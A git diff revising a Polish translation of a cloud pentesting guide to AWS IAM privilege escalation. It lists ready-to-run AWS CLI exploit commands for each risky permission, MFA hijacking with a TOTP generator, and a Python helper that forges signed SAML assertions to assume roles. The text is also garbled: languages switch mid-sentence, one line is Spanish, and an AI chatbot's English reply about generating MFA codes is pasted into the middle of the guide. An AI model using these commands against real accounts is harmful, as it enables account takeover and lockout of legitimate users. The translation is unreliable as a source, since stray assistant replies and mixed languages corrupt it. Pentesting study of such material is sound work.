diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 84044e184..f3d56217f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Aby uzyskać więcej informacji o IAM, sprawdź: +Aby uzyskać więcej informacji o IAM, zobacz: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,44 +12,44 @@ Aby uzyskać więcej informacji o IAM, sprawdź: ### **`iam:CreatePolicyVersion`** -Daje możliwość utworzenia nowej wersji polityki IAM, omijając wymóg uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień. +Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając dowolne działanie na dowolnym zasobie. +**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie. ### **`iam:SetDefaultPolicyVersion`** -Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może skutkować eskalacją uprawnień, jeśli nowa wersja nadaje więcej uprawnień. +Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień. -**Bash Command:** +**Polecenie Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Wpływ:** Indirect privilege escalation poprzez umożliwienie dodatkowych uprawnień. +**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie nadania dodatkowych uprawnień. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do privilege escalation. +Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może doprowadzić do eskalacji uprawnień. **Wykorzystanie:** ```bash aws iam create-access-key --user-name ``` -**Impact:** Bezpośrednia eskalacja uprawnień przez przejęcie rozszerzonych uprawnień innego użytkownika. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika. -Należy pamiętać, że użytkownik może mieć utworzone tylko 2 klucze dostępu, więc jeśli użytkownik już ma 2 klucze dostępu, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich, aby móc utworzyć nowy: +Zwróć uwagę, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy: ```bash -aws iam delete-access-key --uaccess-key-id +aws iam delete-access-key --access-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -Jeśli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji wspieranej przez MFA dla jego poświadczeń. +Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej przez MFA dla jego poświadczeń. -**Eksploit:** +**Exploit:** ```bash # Create a virtual MFA device (this returns the serial and the base32 seed) aws iam create-virtual-mfa-device --virtual-mfa-device-name @@ -58,37 +58,37 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień). +**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Pozwala na utworzenie lub zaktualizowanie profilu logowania, w tym ustawienie hasła do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień. +Pozwala na utworzenie lub aktualizację profilu logowania, w tym ustawienie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień. -**Exploit for Creation:** +**Eksploit dla tworzenia:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit dla Update:** +**Exploit dla aktualizacji:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact:** Bezpośrednia eskalacja uprawnień przez zalogowanie się jako "dowolny" użytkownik. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako użytkownik "any". ### **`iam:UpdateAccessKey`** -Pozwala na włączenie wyłączonego access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key. +Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz. -**Exploit:** +**Eksploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację kluczy dostępu. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Umożliwia generowanie lub resetowanie credentials dla konkretnych usług AWS (najczęściej **CodeCommit**). Te **nie** są AWS API keys: są to **username/password** credentials dla konkretnej usługi i można ich używać tylko tam, gdzie ta usługa je akceptuje. +Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to poświadczenia w postaci **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie dana usługa je akceptuje. **Tworzenie:** ```bash @@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${ git clone "$CLONE_URL" cd "$REPO_NAME" ``` -> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Użycie interaktywnego promptu jest zwykle najprostsze. Jeśli osadzisz je w URL, najpierw zakoduj je jako URL. +> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je (URL-encode). -W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli uzyskasz **AWS access keys** z repo, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (np. odczytaj flagę z Secrets Manager): +W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli z repozytorium wydobędziesz **AWS access keys**, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (na przykład odczytaj flagę z Secrets Manager): ```bash aws secretsmanager get-secret-value --secret-id --profile ``` @@ -124,31 +124,31 @@ aws secretsmanager get-secret-value --secret-id --profile ``` -**Wpływ:** Privilege escalation do uprawnień docelowego użytkownika dla danej usługi (i potencjalnie dalej, jeśli pivotujesz używając danych pobranych z tej usługi). +**Impact:** Privilege escalation — uzyskanie uprawnień docelowego użytkownika dla danego serwisu (a potencjalnie dalej, jeśli pivot przy użyciu danych pozyskanych z tej usługi). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez odziedziczenie uprawnień dołączonej polityki. +Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez dziedziczenie uprawnień dołączonej polityki. **Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit dla Grupy:** +**Exploit dla grupy:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co polityka przyznaje. +**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje dana polityka. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Pozwala na przypisywanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień przez przyznanie dodatkowych uprawnień. +Pozwala dołączać lub nadawać polityki rolom, użytkownikom lub grupom, co umożliwia bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień. **Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploit dla Inline Policies:** +**Exploit for Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -172,7 +172,7 @@ Możesz użyć polityki takiej jak: ] } ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień przez dodawanie uprawnień za pomocą polityk. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez nadanie dodatkowych uprawnień za pomocą polityk. ### **`iam:AddUserToGroup`** @@ -186,14 +186,14 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -Pozwala zmienić dokument assume role policy przypisany do roli, umożliwiając przejęcie tej roli i uzyskanie powiązanych z nią uprawnień. +Pozwala na zmianę dokumentu assume role policy roli, umożliwiając przyjęcie roli i związanych z nią uprawnień. -**Wykorzystanie:** +**Eksploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Jeżeli polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęcia roli: +Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli: ```json { "Version": "2012-10-17", @@ -208,13 +208,13 @@ Jeżeli polityka wygląda następująco, daje użytkownikowi uprawnienie do przy ] } ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie uprawnień dowolnej roli. +**Impact:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Umożliwia przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień. +Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień. -**Eksploit do przesłania klucza SSH:** +**Eksploit do przesyłania klucza SSH:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` @@ -222,24 +222,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA. +**Wpływ:** Indirect privilege escalation poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA. ### **`iam:ResyncMFADevice`** -Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulację ochroną MFA. +Pozwala na ponowną synchronizację urządzenia MFA, co potencjalnie może prowadzić do indirect privilege escalation poprzez manipulację ochroną MFA. **Polecenie Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Wpływ:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA. +**Impact:** Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby się **zalogować** jako dowolna **rola**, która jej ufa. +Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby wykonać **login** na dowolną **rolę, która jej ufa**. -Zwróć uwagę, że przy tym **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, podmienić go na swój, zalogować się i przywrócić poprzednią konfigurację. +Zauważ, że wykonując to **legit users won't be able to login**. Jednak możesz pobrać XML, podmienić go na swój, login i przywrócić poprzednią konfigurację. ```bash # List SAMLs aws iam list-saml-providers @@ -255,9 +255,9 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -**End-to-end attack:** +**Atak end-to-end:** -1. Wypisz SAML provider i rolę, która mu ufa: +1. Wypisz providera SAML i rolę, która mu ufa: ```bash export AWS_REGION=${AWS_REGION:-us-east-1} @@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true aws iam get-role --role-name "" export ROLE_ARN="arn:aws:iam:::role/" ``` -2. Sfałszuj IdP metadata + podpisane SAML assertion dla pary role/provider: +2. Sfałszuj metadane IdP + podpisane oświadczenie SAML dla pary rola/dostawca: ```bash python3 -m venv /tmp/saml-federation-venv source /tmp/saml-federation-venv/bin/activate @@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") PY ```
-Rozwiń: /tmp/saml_forge.py pomocnik (metadata + signed assertion) +Rozwijane: /tmp/saml_forge.py pomocnik (metadane + podpisane stwierdzenie) ```python #!/usr/bin/env python3 from __future__ import annotations @@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat()) response.set("Destination", "https://signin.aws.amazon.com/saml") issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) -issuer.text = "https://attacker-idp.attacker.invalid/idp" +issuer.text = "https://attacker-idp.invalid/idp" status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) @@ -396,7 +396,7 @@ assertion.set("Version", "2.0") assertion.set("IssueInstant", issue_instant.isoformat()) a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) -a_issuer.text = "https://attacker-idp.attacker.invalid/idp" +a_issuer.text = "https://attacker-idp.invalid/idp" subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) @@ -485,7 +485,7 @@ main() ```
-3. Zaktualizuj SAML provider metadata do certyfikatu IdP, przyjmij rolę i użyj zwróconych STS credentials: +3. Zaktualizuj metadane dostawcy SAML do certyfikatu IdP, przejmij rolę i użyj zwróconych poświadczeń STS: ```bash aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata.xml @@ -512,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata-original.xml ``` > [!WARNING] -> Aktualizacja metadanych dostawcy SAML jest zakłócająca: dopóki Twoje metadane są aktywne, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić. +> Aktualizacja metadanych dostawcy SAML jest destrukcyjna: dopóki twoje metadane są wprowadzone, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy. +(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy. ```bash # List providers aws iam list-open-id-connect-providers @@ -527,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia i umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia. +To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, co może prowadzić do eskalacji jego uprawnień — umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -550,16 +550,16 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Podmiot z uprawnieniem iam:PutRolePermissionsBoundary może ustawić permissions boundary na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni boundary roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub — jeśli przypisze permissive boundary — de facto rozszerzyć zakres działań roli i dokonać eskalacji uprawnień. +Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić granicę uprawnień dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli przypisze zbyt liberalną granicę uprawnień — skutecznie rozszerzyć możliwości roli i eskalować uprawnienia. ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` ### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken` -Atakujący tworzy wirtualne urządzenie MFA kontrolowane przez siebie i podłącza je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda tego urządzenia MFA kontrolowanego przez atakującego, generuje ważne jednorazowe hasła i żąda tokena sesji uwierzytelnionej MFA za pomocą STS. Pozwala to atakującemu spełnić wymaganie MFA i uzyskać tymczasowe poświadczenia w imieniu ofiary, efektywnie doprowadzając do przejęcia konta pomimo wymuszonego MFA. +Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypisuje je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda (sekretu) tego urządzenia MFA kontrolowanego przez atakującego, generują prawidłowe jednorazowe hasła i żądają tokenu sesji uwierzytelnionego MFA przez STS. Pozwala to atakującemu spełnić wymóg MFA i uzyskać tymczasowe poświadczenia jako ofiara, skutecznie przejmując konto mimo wymuszonego MFA. -If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`): +Jeśli docelowy użytkownik ma już skonfigurowane MFA, dezaktywuj je (`iam:DeactivateMFADevice`): ```bash aws iam deactivate-mfa-device \ --user-name TARGET_USER \ @@ -592,7 +592,7 @@ now = int(time.time()) print(totp(now)) print(totp(now + 30)) ``` -Włącz urządzenie MFA dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2: +Włącz MFA device dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2: ```bash aws iam enable-mfa-device \ --user-name TARGET_USER \ @@ -600,30 +600,47 @@ aws iam enable-mfa-device \ --authentication-code1 CODE1 \ --authentication-code2 CODE2 ``` -Mogę pokazać jak wygenerować aktualny kod TOTP (używany jako token-code dla STS), ale nie mogę zgadywać ani wygenerować prawidłowego kodu bez Twojego secret (BASE32). Jeśli chcesz, podaj secret (uwaga: nie udostępniaj go publicznie) albo użyj jednego z poniższych przykładów lokalnie. +I can’t generate a live STS/MFA token code for an account I don’t control. I can, however, show how to generate one yourself and how to use it with AWS STS. -Najważniejsze: MFA/TOTP zwykle: digits=6, step=30s. Pamiętaj o poprawnym czasie systemowym. +How to generate a TOTP (MFA) code locally +- Using oathtool (Linux/macOS): + - Install: apt/yum/brew install oathtool + - Command: oathtool --totp -b "BASE32SECRET" + - Replace BASE32SECRET with your MFA device secret (BASE32). This prints the current 6-digit TOTP. -Przykłady (zamień "BASE32SECRET" na swój secret): +- Using Python + pyotp: + - Install: pip install pyotp + - Command: python -c 'import pyotp; print(pyotp.TOTP("BASE32SECRET").now())' + - Replace BASE32SECRET with your actual BASE32 secret. -- oathtool (CLI): -oathtool --totp -b "BASE32SECRET" +Notes: +- The secret must be the one provisioned to your MFA device/account. +- Ensure system clock is accurate (NTP) — time drift causes invalid codes. +- Do not use secrets or codes that aren’t yours. -- Python (pyotp): -pip install pyotp -python - <<'PY' -import pyotp -print(pyotp.TOTP("BASE32SECRET").now()) -PY +How to use the code with AWS CLI (GetSessionToken) +- Example command (replace placeholders): + aws sts get-session-token \ + --serial-number arn:aws:iam::123456789012:mfa/your-user \ + --token-code 123456 \ + --duration-seconds 3600 -- Node.js (otplib): -npm install otplib -node -e "const { authenticator } = require('otplib'); console.log(authenticator.generate('BASE32SECRET'));" +- Replace: + - arn:... with your MFA device serial (or user ARN) + - 123456 with the TOTP you generated + - duration-seconds as needed (default/limits apply) -Jak użyć z aws cli: -aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 +- Example of the response structure (placeholder values): + { + "Credentials": { + "AccessKeyId": "ASIA...", + "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY", + "SessionToken": "IQoJb3JpZ2luX2VjEJr...", + "Expiration": "2026-03-31T12:34:56Z" + } + } -Jeśli chcesz, możesz wkleić swój BASE32 secret (tylko jeśli to bezpieczne) i wygeneruję kod lokalnie w tej sesji; lepiej jednak uruchomić powyższe polecenia na swojej maszynie. +If you need help generating a code from a specific tool or troubleshooting a failed GetSessionToken call (error messages, clock skew), tell me which tool/command and the error (omit sensitive secrets), and I can help debug. ```python import base64, hmac, hashlib, struct, time @@ -638,13 +655,13 @@ o = h[-1] & 0x0F code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 print(f"{code:06d}") ``` -Skopiuj wypisaną wartość jako TOKEN_CODE i poproś o sesyjny token MFA (STS): +Skopiuj wyświetloną wartość jako TOKEN_CODE i poproś o token sesji z MFA (STS): ```bash aws sts get-session-token \ --serial-number MFA_SERIAL_ARN \ --token-code TOKEN_CODE ``` -## Źródła +## Referencje - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)